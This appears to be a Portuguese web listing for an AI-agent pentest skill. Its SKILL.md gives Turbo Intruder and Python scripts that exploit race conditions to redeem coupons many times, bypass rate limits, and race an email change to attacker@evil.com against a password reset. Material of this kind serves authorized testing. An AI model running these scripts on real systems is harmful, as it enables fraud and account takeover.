exploiting-race-condition-vulnerabilities
Faz seu agente detectar e explorar vulnerabilidades de condição de corrida (TOCTOU) em aplicações web.
O que ela faz
Esta ferramenta ajuda a encontrar e explorar falhas de segurança em sites onde ações rápidas e simultâneas podem enganar o sistema. Ela permite que você envie muitas solicitações ao mesmo tempo para ver se consegue fazer algo mais de uma vez, como usar um cupom várias vezes.
Quando usar
- ✓Ao testar sistemas de pagamento ou cupons.
- ✓Quando um site limita quantas vezes você pode fazer algo.
- ✓Ao verificar processos de várias etapas, como troca de e-mail.
Exemplo do que pedir para a IA
“Teste se consigo usar este cupom mais de uma vez enviando muitas solicitações ao mesmo tempo.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
Ela usa uma ferramenta chamada Turbo Intruder para enviar várias solicitações de uma vez. Isso é feito de forma muito rápida para tentar explorar um pequeno atraso entre a verificação e a ação dentro do sistema.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-race-condition-vulnerabilitiesOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-race-condition-vulnerabilities/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando Vulnerabilidades de Condição de Corrida
Quando Usar
- Ao testar aplicações com funcionalidades baseadas em transações (pagamentos, transferências, cupons)
- Durante a avaliação de mecanismos de limitação de taxa ou de tentativas
- Ao testar fluxos de trabalho de várias etapas (cadastro, redefinição de senha, MFA)
- Durante a caça a bugs por falhas lógicas em operações que alteram o estado
- Ao avaliar aplicações com sistemas de gerenciamento de inventário ou saldo
Pré-requisitos
- Burp Suite Professional com a extensão Turbo Intruder instalada
- Compreensão da técnica de ataque de pacote único HTTP/2
- Habilidade de scripting em Python para scripts personalizados do Turbo Intruder
- Conhecimento de vulnerabilidades TOCTOU (Time-of-Check-to-Time-of-Use)
- Aplicação alvo com operações que alteram o estado (compras, votos, transferências)
- Múltiplas contas de usuário para testar condições de corrida entre usuários
Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.
Fluxo de Trabalho
Etapa 1 — Identificar a Superfície de Ataque de Condição de Corrida
# Common race condition targets:
# - Coupon/discount code redemption (limit: 1 per user)
# - Account balance transfers
# - Inventory purchase (limited stock)
# - Rate-limited operations (login attempts, SMS verification)
# - Multi-step workflows (email change + password reset)
# - File upload + processing pipelines
# Capture the target request in Burp Suite
# Send to Turbo Intruder (Extensions > Turbo Intruder > Send to Turbo Intruder)
Etapa 2 — Configurar o Ataque de Pacote Único no Turbo Intruder
# Turbo Intruder script for single-packet race condition
# This sends all requests simultaneously in one TCP packet
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
# Queue 20 identical requests for the same operation
for i in range(20):
engine.queue(target.req, gate='race1')
# Hold all requests until ready
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
Etapa 3 — Executar o Ataque de Limite Excedido
# Turbo Intruder script for coupon/discount limit bypass
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=50,
engine=Engine.BURP2)
# Send 50 coupon redemption requests simultaneously
for i in range(50):
engine.queue(target.req, gate='coupon_race')
engine.openGate('coupon_race')
def handleResponse(req, interesting):
# Flag successful redemptions (200 OK)
if req.status == 200:
table.add(req)
Etapa 4 — Explorar Condições de Corrida Multi-Endpoint
# Race condition between two different endpoints
# Example: Change email + trigger password reset simultaneously
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
# Request 1: Change email to attacker@evil.com
email_change = '''POST /api/change-email HTTP/2
Host: target.com
Cookie: session=VALID_SESSION
Content-Type: application/json
{"email":"attacker@evil.com"}'''
# Request 2: Trigger password reset (goes to original email)
password_reset = '''POST /api/reset-password HTTP/2
Host: target.com
Content-Type: application/json
{"email":"victim@target.com"}'''
engine.queue(email_change, gate='race1')
engine.queue(password_reset, gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
Etapa 5 — Testar com Alternativa de Threading em Python
import threading
import requests
TARGET_URL = "http://target.com/api/redeem-coupon"
COUPON_CODE = "DISCOUNT50"
SESSION_COOKIE = "session=abc123"
def send_request():
response = requests.post(
TARGET_URL,
json={"coupon": COUPON_CODE},
headers={"Cookie": SESSION_COOKIE},
timeout=10
)
print(f"Status: {response.status_code}, Response: {response.text[:100]}")
# Criar barreira para sincronizar o início das threads
barrier = threading.Barrier(20)
def synchronized_request():
…
Perguntas frequentes
O que é uma 'condição de corrida'?
É uma falha onde o resultado depende da ordem exata em que eventos acontecem. Se você puder fazer duas coisas acontecerem quase ao mesmo tempo, pode enganar o sistema.
O que é o 'Single-Packet Attack'?
É uma técnica que envia várias solicitações em um único pacote de rede. Isso garante que elas cheguem ao servidor quase exatamente no mesmo instante.
Posso usar isso em qualquer site?
Não, esta ferramenta é para testes de segurança autorizados em sistemas que você tem permissão para testar. Usá-la em sistemas sem permissão é ilegal.
Detalhes
Descrição original do autor
Detects and exploits race condition (TOCTOU) vulnerabilities in web applications using Burp Suite's Turbo Intruder extension and its single-packet attack technique to fire parallel requests that bypass rate limits, duplicate transactions, or overrun usage limits. Use when pentesting endpoints with balances, coupon redemption, or rate limiting that concurrent requests might manipulate.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5757
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC